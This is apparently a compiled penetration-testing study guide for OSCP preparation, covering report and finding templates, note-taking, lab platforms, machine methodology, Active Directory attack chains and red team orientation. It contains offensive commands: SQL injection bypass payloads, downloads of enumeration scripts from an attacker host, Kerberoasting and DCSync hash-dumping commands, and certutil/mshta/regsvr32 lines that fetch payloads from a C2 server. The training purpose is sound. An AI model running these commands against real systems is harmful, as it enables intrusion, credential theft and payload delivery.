Finding	Severity	Recommended Fix	Priority	Suggested Owner
SQL Injection in /login	Critical	Parameterized queries	Immediate	Dev Team
Outdated Apache 2.4.49	High	Upgrade to 2.4.51+	30 days	Ops Team

6. Appendices

- Raw nmap output
- Full request/response captures
- Network diagrams
- Tool versions used
- Any data extracted (hashes, screenshots of proof files)

Severity Order Rule

Never mix severity levels in the findings section. Critical first, always. Clients read top-down and stop when they've seen enough to escalate internally.

Source: `19-report-writing-and-documentation/03-finding-template-and-cvss.md`

Finding Template and CVSS

Every finding uses the same template. Consistency matters — clients compare findings across sections and across assessments.

Finding Template

Title: [Concise vulnerability name – 5 words max]
Severity: Critical / High / Medium / Low / Informational
CVSS Score: X.X
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-89 (SQL Injection)
Affected Component: hostname / IP / URL / parameter

Description:

[What is the vulnerability and why does it exist. 2-4 sentences.
Focus on root cause, not just the symptom.]

Evidence:

[Screenshot of exploitation, request/response from Burp, command output.
Label clearly: Figure 1 – SQL injection payload in POST /api/login]

Steps to Reproduce:

1. Navigate to <https://target.com/api/login>
2. Intercept POST request with Burp Suite
3. Modify `username` parameter to: ' OR 1=1--
4. Forward request – observe authentication bypass

Impact:

[What can an attacker achieve. Be specific and business-oriented.
"An unauthenticated attacker can bypass authentication and access all 12,000 customer records including PII and payment data."]

Remediation:

[Specific fix with code example where possible]

Use parameterized queries:

```
cursor.execute("SELECT * FROM users WHERE user = ?", (username,))
```

Reference: OWASP SQL Injection Prevention Cheat Sheet

References:

- CWE-89: <https://cwe.mitre.org/data/definitions/89.html>
- OWASP: https://owasp.org/www-community/attacks/SQL_Injection
- CVE-XXXX-XXXXX (if applicable)

CVSS Scoring

Calculator: first.org/cvss/calculator/3.1

Key vectors to understand: - **AV** (Attack Vector): Network (N) = remotely exploitable — highest impact - **AC** (Attack Complexity): Low (L) = reliable, no special conditions - **PR** (Privileges Required): None (N) = no auth needed - **UI** (User Interaction): None (N) = no victim action required - **C/I/A** (Impact): High (H) = full loss of confidentiality/integrity/availability

Severity Thresholds

CVSS Range	Severity
9.0 – 10.0	Critical
7.0 – 8.9	High
4.0 – 6.9	Medium
0.1 – 3.9	Low
0.0	Informational

For OSCP Exam

OffSec provides their own finding template inside the PEN-200 course. Use it exactly. Do not invent your own format for the exam submission.

Executive Summary Writing

The executive summary is read by people who will not read the rest of the report. Write for a non-technical manager or CISO making a budget or escalation decision.

What to Include

1. Purpose of the test (one sentence)
2. Scope summary (what was tested, when)
3. Overall risk rating: Critical / High / Medium / Low
4. Finding count by severity: "X Critical, Y High, Z Medium"
5. Most impactful finding in plain English — no jargon
6. Top 3 recommendations

What to Exclude

- Tool names (not "Metasploit was used to")
- CVE numbers (not "CVE-2021-44228 was found")
- Technical exploit mechanics (save for findings section)
- Acronyms without explanation

Template

Executive Summary

[Company Name] engaged [Assessor] to conduct an external network penetration test of [scope description] from [start date] to [end date].

During the assessment, [X] vulnerabilities were identified: [A] Critical, [B] High, [C] Medium, and [D] Low severity. The overall risk rating for the assessed environment is CRITICAL.

The most significant finding allows an unauthenticated attacker to gain full administrative control of the [system name], potentially enabling access to [business impact — e.g., all customer data, financial records, internal systems].

Top recommendations:

1. Immediately patch [system] — currently allows remote takeover without credentials
2. Implement multi-factor authentication across all administrative interfaces
3. Segment the [network zone] to limit attacker lateral movement capability

Full technical details, evidence, and remediation guidance are provided in the Findings section of this report.

Tone Calibration

Good: "An attacker outside the company can gain complete control of the payroll server without a username or password."

Bad: "The SMB service running on 192.168.1.10 is vulnerable to MS17-010 (EternalBlue), allowing remote code execution via a heap spray exploit."

The CISO forwards the executive summary to the board. If they cannot read it in 90 seconds and understand the risk, rewrite it.

Length

One page maximum. Two paragraphs of narrative + a short bulleted recommendation list. Anything longer loses the audience.

Writing Technical Findings

Technical findings must be reproducible by someone who was not on the assessment. A developer reading your finding should be able to reproduce and verify the fix without asking you any questions.

Specificity Rules

Bad: "There is an injection vulnerability in the login form."

Good: "The `username` parameter in the POST request to `/api/v1/auth/login` is vulnerable to SQL injection. The application constructs the query via string concatenation, bypassing input validation."

Bad: "Data can be accessed by an attacker."

Good: "An attacker can extract all 50,000 user records from the `customers` table, including full names, email addresses, hashed passwords, and billing addresses."

Evidence Requirements

Every finding needs at minimum: - Screenshot showing the vulnerability triggered (Burp request + response, or terminal output) - The exact input used - The exact output observed

Label all evidence: Figure 3 – SQLi payload extracting database version (POST `/api/login`)

Steps to Reproduce Format

Steps to Reproduce:

1. Open Burp Suite and configure browser proxy to 127.0.0.1:8080
2. Navigate to `https://target.com/login`
3. Enter any username and password, intercept with Burp
4. Modify the POST body: `username=admin'--&password=anything`
5. Forward the request
6. Observe: server responds 200 OK and sets authenticated session cookie
Expected: 401 Unauthorized

Numbered. Exact values. Expected vs actual outcome stated.

Remediation — Be Specific

Bad: "Update the software and implement input validation."

Good:

Remediation:

Replace string concatenation with parameterized queries:

```
# Vulnerable
query = "SELECT * FROM users WHERE username = '" + username + "'"

# Fixed
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
```

Additionally, implement an allowlist for the username field:

```
 /^[a-zA-Z0-9_]{3,32}$/
```

Reference: OWASP SQL Injection Prevention Cheat Sheet

https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Impact — Business Language

Translate technical impact to business risk: - RCE → “attacker gains full control of the server and everything it can reach” - SQLi → “attacker can read, modify, or delete all data in the database” - LFI → “attacker can read sensitive files including credentials and private keys” - IDOR → “any authenticated user can access any other user’s data”

Proof of Concept Policy

Include enough PoC to prove exploitability. Do not include weaponized exploit code in client reports — show the vulnerability exists, not a complete attack toolkit.

Source: `19-report-writing-and-documentation/06-oscp-exam-report-specifics.md`

OSCP Exam Report Specifics

The OSCP exam report is a pass/fail deliverable. Technical exploitation earns points; the report is what converts those points into a passing grade.

Submission Requirements

- Format: PDF only
- Deadline: 24 hours after exam time ends (not 24 hours after you stop hacking)
- Submission: OffSec exam portal
- Use the OffSec-provided report template from PEN-200

Required Content Per Machine

For every compromised machine, you must include:

1. Screenshot showing ALL of the following in ONE image:
2. `hostname` or `ipconfig/ifconfig` output
3. `whoami` output
4. Contents of `local.txt` or `proof.txt` (cat the file)
5. The file must be readable — not just proof of access
6. Full step-by-step exploitation chain:
7. Every command run
8. Every tool used with exact flags
9. Screenshots at each major step
10. Exact payloads used
11. For partial credit (`local.txt` only): same requirements — screenshot with `hostname` + `whoami` + `local.txt` content

Active Directory Chain

Document end-to-end: - Initial access method - Each lateral movement step - Privilege escalation on each hop - Domain Admin proof: `whoami /all` showing Domain Admins membership, or `secretsdump` output on DC

Common Failure Reasons

- Screenshot does not show `hostname` AND `whoami` AND file content in same frame
- Steps are not reproducible — “I ran a script” without specifying what script
- Missing `local.txt` screenshots (partial credit machines still need full documentation)
- Submitted wrong file — recheck you’re uploading the correct PDF
- Report submitted after deadline (the 24-hour clock does not pause)

Screenshot Discipline During Exam

- Take screenshots immediately after each step — you cannot reconnect after time expires
- Save to disk with descriptive names: `192.168.1.100-privesc-proof.png`
- After getting proof: screenshot first, then anything else
- If VPN disconnects: reconnect and re-screenshot before time runs out

Practice Standard

Document every PG Practice and HTB machine as a full exam-style report. When you can produce a clean, complete report for a Medium machine in under 30 minutes, you have the right habit.

Source: `19-report-writing-and-documentation/07-note-taking-and-workflow.md`

Note-Taking and Workflow

Good notes during the assessment enable good reports after. If you didn't write it down, it didn't happen.

Note-Taking Tools

Tool	Strengths	Best For
Obsidian	Local, fast, markdown, graph view	Primary notes, OSCP exam
CherryTree	Tree structure, rich text + code blocks	Common in offensive community
Notion	Collaborative, templates, database views	Team engagements
tmux + vim	Zero overhead, always available	Quick terminal notes

For OSCP exam: Obsidian or CherryTree. Local only — no cloud sync during exam.

Folder Structure Per Engagement

```
/engagement-name/  
  /recon/  
    nmap-initial.txt  
    nmap-full.txt  
    nmap-udp.txt  
    gobuster-80.txt  
    subdomains.txt  
  /exploitation/  
    sqli-login-bypass.md  
    smb-eternalblue.md  
  /post-exploitation/  
    linpeas-output.txt  
    credentials-found.md  
    pivot-notes.md  
  /screenshots/  
    01-nmap-open-ports.png  
    02-web-app-login.png  
    03-sqli-payload.png  
    04-shell-whoami.png  
    05-privesc-suid.png  
    06-root-proof.png  
  /report/  
    draft.md  
    final.pdf
```

Screenshot Naming Convention

```
[target-ip]-[vulnerability]-[step]-[date].png
```

Examples:

```
192.168.1.100-sqli-auth-bypass-20240315.png
```

```
10.10.10.50-privesc-suid-root-proof-20240315.png
```

```
dc01-dcsync-ntds-dump-20240315.png
```

During Assessment — What to Record

- Every command run and its output (copy to notes, not just terminal scroll)
- Every credential found: username, password, hash, service, source
- Every open port with service version
- Every failed attempt (saves you trying the same thing twice)
- Timestamps on key events (initial access, PrivEsc, proof captured)

Credentials File Template

```
## Credentials Found
```

User	Password/Hash	Type	Source	Service
admin	admin123	plaintext	/config.php	MySQL
john	\$6\$abc...xyz	sha512crypt	/etc/shadow	SSH
svc_backup	NTLMhash	NTLM	secretsdump	AD

OSCP Exam Critical Rule

After exam time ends, you cannot reconnect to any machine. Take every screenshot before you move to the next task. There is no “I’ll get that screenshot at the end.”

Phase — 20-advanced-lab-challenges

Directory: 20-advanced-lab-challenges/

Source: 20-advanced-lab-challenges/01-lab-platform-guide.md

Lab Platform Guide

Different platforms serve different purposes. Use the right one for where you are in your journey.

Platform Comparison

Platform	URL	Style	Best For
TryHackMe	tryhackme.com	Guided, browser-based	Foundations, beginners
HackTheBox	hackthebox.com	Independent exploitation	Intermediate/Advanced
OffSec Proving Grounds	offsec.com/labs/practice	OSCP-style machines	OSCP direct prep
VulnLab	vulnlab.com	Realistic AD chains	AD depth, team labs
HTB Pro Labs	hackthebox.com/hacking-labs	Full environment simulation	Advanced, Red Team
GOAD (local)	github.com/Orange-Cyberdefense/GOAD	Self-hosted multi-DC AD	Free AD lab, realism

Which Platform When

- Just starting:** TryHackMe “Jr Penetration Tester” learning path — guided, explains concepts, no frustration cliff.
- OSCP preparation:** OffSec Proving Grounds Practice. Machines are built by the same team that builds OSCP exam machines. Same OS versions, same vulnerability types, same difficulty calibration.
- AD attack chains:** VulnLab for realistic multi-hop chains. GOAD locally if you want unlimited practice at zero cost.
- Career development beyond OSCP:** HTB Pro Labs — Offshore (AD), RastaLabs (Red Team), Cybernetics (full enterprise).

PG Practice vs HTB for OSCP

PG Practice is the better choice because: - Same infrastructure team as OSCP exam - Community writeups are available after 3 months (good for learning) - “Try Harder” rating maps more closely to exam difficulty - OffSec provides hints (limited) — HTB does not for active machines

GOAD Setup (Free AD Lab)

```
# Requirements: VirtualBox, Vagrant, Python 3
git clone https://github.com/Orange-Cyberdefense/GOAD.git
cd GOAD
pip3 install ansible pywinrm
cd ad/GOAD/providers/virtualbox
vagrant up
# Provisions: 5 VMs, 2 domains, 3 DCs, multiple vulnerable configurations
```

Gives you: Kerberoastable accounts, AS-REP roasting targets, ACL abuse paths, GPO exploitation, full DA compromise chain — all local, all free.

OSCP Preparation Roadmap

Structured lab progression before enrolling in PEN-200. Enroll when you can solve Medium PG machines independently — not before.

Phase 1: Foundations (4–6 weeks)

Goal: Build enumeration and basic exploitation instinct.

- Complete TryHackMe “Jr Penetration Tester” learning path (fully guided)
- Complete TryHackMe “Pre-Security” path if Linux/networking is shaky
- Solve 10 TryHackMe rooms: “Basic Pentesting”, “Blue”, “Ignite”, “Pickle Rick”, “Mr Robot CTF”
- Target: comfortable with nmap, gobuster, basic Metasploit, simple PrivEsc

Phase 2: Independent Exploitation (6–8 weeks)

Goal: Solve machines without hints.

- Solve 20 OffSec Proving Grounds Practice machines: mix of Easy and Medium Linux
- Add 5 Medium Windows PG machines
- No hints for first 2 hours — check writeup only after genuine stuck
- Log every machine: what you tried, what worked, why
- Target: solving Easy machines in under 1 hour, Medium in under 2 hours

Recommended PG starting machines (Linux Easy): Potato, Shakabrah, Assertion101, Gaara
Recommended PG starting machines (Windows Easy): Algeron, Craft, WebSVN2

Phase 3: Active Directory (4–6 weeks)

Goal: Execute full domain compromise independently.

- HTB Academy “Active Directory Enumeration & Attacks” module (free tier available)
- Solve HTB “Forest” (AS-REP roasting + DCSync path)
- Solve HTB “Sauna” (AS-REP + Autologon + DCSync)
- Solve HTB “Active” (Kerberoasting)
- Solve 5 AD-focused PG Practice machines
- Target: enumerate domain, find attack path, achieve DA without hints

Phase 4: Exam Simulation (1–2 weeks)

Goal: Simulate exam conditions before enrolling.

- Time-box a 24-hour attempt: 3 standalone PG machines + 1 AD chain (GOAD or PG)
- No writeup lookup during the window
- Write a full exam-style report after
- Evaluate: Did you compromise 3 standalones? Did you get DA? Did you document everything?

Enrollment Signal

You are ready to enroll in PEN-200 when: - Solving Medium PG Practice machines in under 2 hours without hints - Can enumerate and exploit AD without step-by-step guidance - Have documented at least 20 machines in report format

Enrolling before this point means paying for the course while learning basics you could learn free. Enrolling after means you'll finish faster and more confidently.

Source: 20-advanced-lab-challenges/03-htb-machine-methodology.md

HTB Machine Methodology

A repeatable systematic approach to HTB and PG machines. Methodology prevents tunnel vision — the most common reason people get stuck.

Step 1: Initial Enumeration (15 min)

```
# Fast scan first — get open ports quickly
nmap -p- --min-rate 5000 -oN nmap-allports.txt $TARGET

# Service/version scan on discovered ports
nmap -p 22,80,443,445 -sC -sV -oN nmap-services.txt $TARGET

# UDP scan (background — slow)
sudo nmap -sU --top-ports 100 -oN nmap-udp.txt $TARGET &
```

Document every open port, service, version number.

Step 2: Web Enumeration (if HTTP/HTTPS present, 20 min)

```
# Directory bruteforce
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -o gobuster-80.txt

# Quick vuln scan
nikto -h http://$TARGET -o nikto.txt

# Manual: view page source, check /robots.txt, /sitemap.xml, error messages
```

Note: CMS version, login forms, upload functionality, API endpoints.

Step 3: Service-Specific Enumeration (20 min)

```
# SMB (port 445)
smbclient -L //$TARGET -N
enum4linux-ng $TARGET -A

# FTP (port 21)
ftp $TARGET # try anonymous login

# SNMP (UDP 161)
snmpwalk -v1 -c public $TARGET

# NFS (port 2049)
showmount -e $TARGET
```

Step 4: Research and Exploit Identification (15 min)

```
# Search for known exploits
searchsploit [service] [version]
searchsploit apache 2.4.49

# Cross-reference
# NVD: nvd.nist.gov
# ExploitDB: exploit-db.com
# GitHub: search "[service] [version] exploit"
```

Step 5: Initial Access

Attempt identified exploits. Try manual before Metasploit — exam has Metasploit restrictions. If web: try SQLi, file upload, LFI/RFI, command injection before checking exploits.

Step 6: Local Enumeration for PrivEsc (20 min)

```
# Linux
wget http://KALI/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh | tee /tmp/linpeas.out

# Windows
certutil -urlcache -f http://KALI/winpeas.exe C:\Windows\Temp\winpeas.exe
C:\Windows\Temp\winpeas.exe > C:\Windows\Temp\winpeas.out
```

Step 7: PrivEsc → Root/SYSTEM

Act on LinPEAS/WinPEAS output. Prioritize: SUID binaries, sudo rules, writable crons, service misconfigs, credentials in files.

Time-Boxing Rules

- 30 min on any single approach without progress → pivot to different angle
- 2 hours total without initial access → check forum hints, not full writeup
- 4 hours total → read writeup, understand why your approach failed, redo from scratch

Post-Machine Documentation

After solving: write up steps, screenshot proof, note what you missed and why. This is how you improve.

Source: 20-advanced-lab-challenges/04-active-directory-lab-chains.md

Active Directory Lab Chains

AD exploitation is a progression from isolated techniques to chained multi-hop compromise. Build the skill in layers.

Level 1 — Guided Learning

TryHackMe “Attacktive Directory” (free room, ~4 hours) - Guided Kerberoasting, AS-REP roasting, DCSync - Explains each technique before you execute - Good for first exposure, not for exam prep

Outcome: understand what each attack does and why it works.

Level 2 — Guided-to-Independent (HTB Retired Machines)

These have public writeups available — read after attempting independently.

HTB “Forest” (Linux DC) - AS-REP roasting → get hash for account with pre-auth disabled - BloodHound enumeration → find WriteDACL path - Abuse WriteDACL → grant DCSync rights → dump NTDS

HTB “Sauna” (Windows DC) - Username enumeration from website → AS-REP roasting - Autologon credentials in registry → lateral movement - BloodHound → DCSync path → dump all hashes

HTB “Active” (Windows — GPP password) - SMB anonymous read → Groups.xml → decrypt cpassword - Kerberoasting SPN account → crack hash → admin access

Commands for each technique:

```
# AS-REP Roasting
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DC

# Kerberoasting
GetUserSPNs.py DOMAIN/user:password -dc-ip $DC -request

# DCSync
secretsdump.py DOMAIN/user:password@$DC

# BloodHound collection
bloodhound-python -d DOMAIN -u user -p password -c All -ns $DC
```

Level 3 — Realistic Multi-Domain

GOAD (local lab): 5 VMs, 2 domains, 3 domain controllers, multiple attack paths. - northcitadel.local + sevenkingdoms.local - Includes: Kerberoasting, AS-REP, ACL abuse, GPO attacks, cross-domain trusts - Free, fully local: github.com/Orange-Cyberdefense/GOAD

Spend a week mapping all attack paths. Then reset and exploit from scratch without notes.

Level 4 — Professional Simulation

VulnLab chains (vulnlab.com): Multi-machine chains requiring lateral movement and realistic privilege escalation paths.

HTB Pro Labs “Offshore”: Full AD environment, 14+ machines, realistic enterprise network. Requires Pro subscription (~\$14/month).

DA Compromise Checklist

Goal: execute this chain independently before OSCP exam.

```
[ ] Enumerate domain: users, groups, computers, trusts
[ ] Find AS-REP roastable accounts (no pre-auth required)
[ ] Find Kerberoastable accounts (SPNs set)
[ ] Crack hashes offline (hashcat -m 18200 / -m 13100)
[ ] Run BloodHound to find attack path to DA
[ ] Identify ACL abuse paths (GenericWrite, WriteDACL, ForceChangePassword)
[ ] Lateral movement with found credentials (WinRM, SMB, RDP)
[ ] Privilege escalation on each hop
[ ] DCSync from DA privileges: secretsdump.py
[ ] Extract all domain hashes
```

Source: [20-advanced-lab-challenges/05-red-team-lab-orientation.md](https://github.com/0x00sec/20-advanced-lab-challenges/blob/master/05-red-team-lab-orientation.md)

Red Team Lab Orientation

Red teaming is not pentesting with a fancier name. It requires operational security, evasion, C2 infrastructure, and adversary simulation. Sequence this after OSCP.

Certification Path After OSCP

```
OSCP → CRT0 → OSEP → (Maldev Academy) → CRTE/CRT0 II
```

CRT0 (Certified Red Team Operator) by ZeroPoint Security — zeropointsecurity.co.uk - Cobalt Strike-focused lab environment - Covers: phishing, C2 setup, lateral movement, kerberos attacks, evasion basics - Best first Red Team cert — practical, well-structured, affordable (~£365)

OSEP (PEN-300) by OffSec - Advanced evasion techniques, antivirus bypass, AppLocker bypass - Custom payload development in C# - Requires strong C# or .NET knowledge going in

Maldev Academy — maldevacademy.com - Malware development: shellcode injection, process hollowing, AMSI bypass, ETW patching - Goes deep into Windows internals - Multi-month course, not a certification

Red Team Lab Environments

HTB Pro Labs “RastaLabs”: Full red team engagement simulation. Persistent environment, requires stealth. No guiding hints.
HTB Pro Labs “Cybernetics”: Modern Windows environment with Defender, EDR concepts, advanced evasion required.

Core Red Team Concepts to Build

C2 Infrastructure: - Redirectors (Apache mod_rewrite, Nginx) to hide C2 server - Domain fronting via CDNs - HTTPS C2 traffic to blend with legitimate traffic - Tools: Cobalt Strike (paid), Havoc C2 (free/open source), Sliver (free)
Payload Evasion:

AMSI bypass → ETW patching → Defender signature evasion → Behavioral evasion

Living off the Land (LOLBins):

```
# Common LOLBIN execution
certutil -urlcache -f http://C2/payload.exe payload.exe
mshta http://C2/payload.hta
wmic process call create "cmd.exe /c payload"
regsvr32 /s /n /u /i:http://C2/payload.sct scrobj.dll
```

OPSEC Discipline: - Never reuse infrastructure across engagements - Use per-engagement domains (aged domains with good reputation) - Assume endpoint logging: avoid obvious tool signatures - Clean up after lateral movement (remove tools, clear event logs with authorization)

Realistic Sequence

Month 1–3 post-OSCP: practice HTB Pro Labs Offshore, deepen AD attacks
Month 4–6: CRT0 course + lab
Month 7–9: OSEP or Maldev Academy depending on focus (ops vs. dev)
Month 10+: RastaLabs, Cybernetics, real engagements

Source: 20-advanced-lab-challenges/06-ctf-and-competitive-hacking.md

CTF and Competitive Hacking

CTFs sharpen specific skills faster than lab machines. They force creative problem solving, deep technique application, and reading source code — all directly transferable to pentesting.

Platforms

Platform	Level	Best For
PicoCTF	Beginner	First CTF, no team required
CTFtime.org	All	Finding upcoming events, team search
HackTheBox CTF events	Intermediate	Regular team events, competitive
SANS Holiday Hack	Intermediate	Annual, excellent quality, solo-friendly
pwn.college	Advanced	Binary exploitation depth

CTF Categories and Pentest Relevance

Web (most relevant): SQL injection, XSS, SSRF, deserialization, authentication bypass, JWT attacks, prototype pollution. Direct skill transfer to web app pentesting.
Pwn / Binary Exploitation: Buffer overflows, ROP chains, heap exploitation. Relevant for exploit development and understanding how memory corruption works.

Crypto: Weak encryption, padding oracles, hash length extension. Helps recognize crypto misuse in real applications.

Forensics: Log analysis, memory forensics, steganography. Overlaps with incident response and blue team skills.

Reverse Engineering: Decompile binaries, understand obfuscated code, crack license checks. Useful for malware analysis and thick client testing.

OSINT: Find information from public sources, social media, domain intelligence. Direct pentest skill.

Starting Point: PicoCTF

1. Create account at picoctf.org
2. Start with "General Skills" category – zero barrier
3. Move to "Web Exploitation" – most relevant for pentest path
4. Each challenge has a hint system – use sparingly
5. After solving: read other writeups to see alternative approaches

Finding CTF Teams

CTFtime.org → Teams → Search → filter by country or language. Most active teams recruit via Discord. Finding a team dramatically improves learning speed — other members solve categories you don't know yet.

SANS Holiday Hack

Runs every December. Free. Multi-challenge format tied to a storyline. Very high production quality. Writeups are encouraged after the competition window. Highly recommended as your first structured CTF experience.

CTF Skills That Directly Transfer to OSCP

- Web exploitation: every web CTF challenge is a pattern you'll see in PG/HTB machines
- Reading source code: CTF reverse challenges teach you to extract logic quickly
- Lateral thinking: CTFs reward creative approaches — same mindset for stuck machines
- Working under time pressure: CTF time limits build the urgency habit for 24-hour exams

Minimum CTF Practice Recommendation

Before OSCP exam: complete 20 PicoCTF web challenges + participate in 1 live CTF event. This builds comfort with time-pressure exploitation that lab machines do not replicate.
